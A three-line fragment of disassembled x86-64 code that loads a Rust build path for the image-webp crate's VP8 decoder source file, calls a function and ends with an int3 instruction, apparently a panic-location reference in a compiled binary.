lea r8, str.C:Userskernel.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.2.0_src_vp8.rs
call fcn.1401dfff0
int3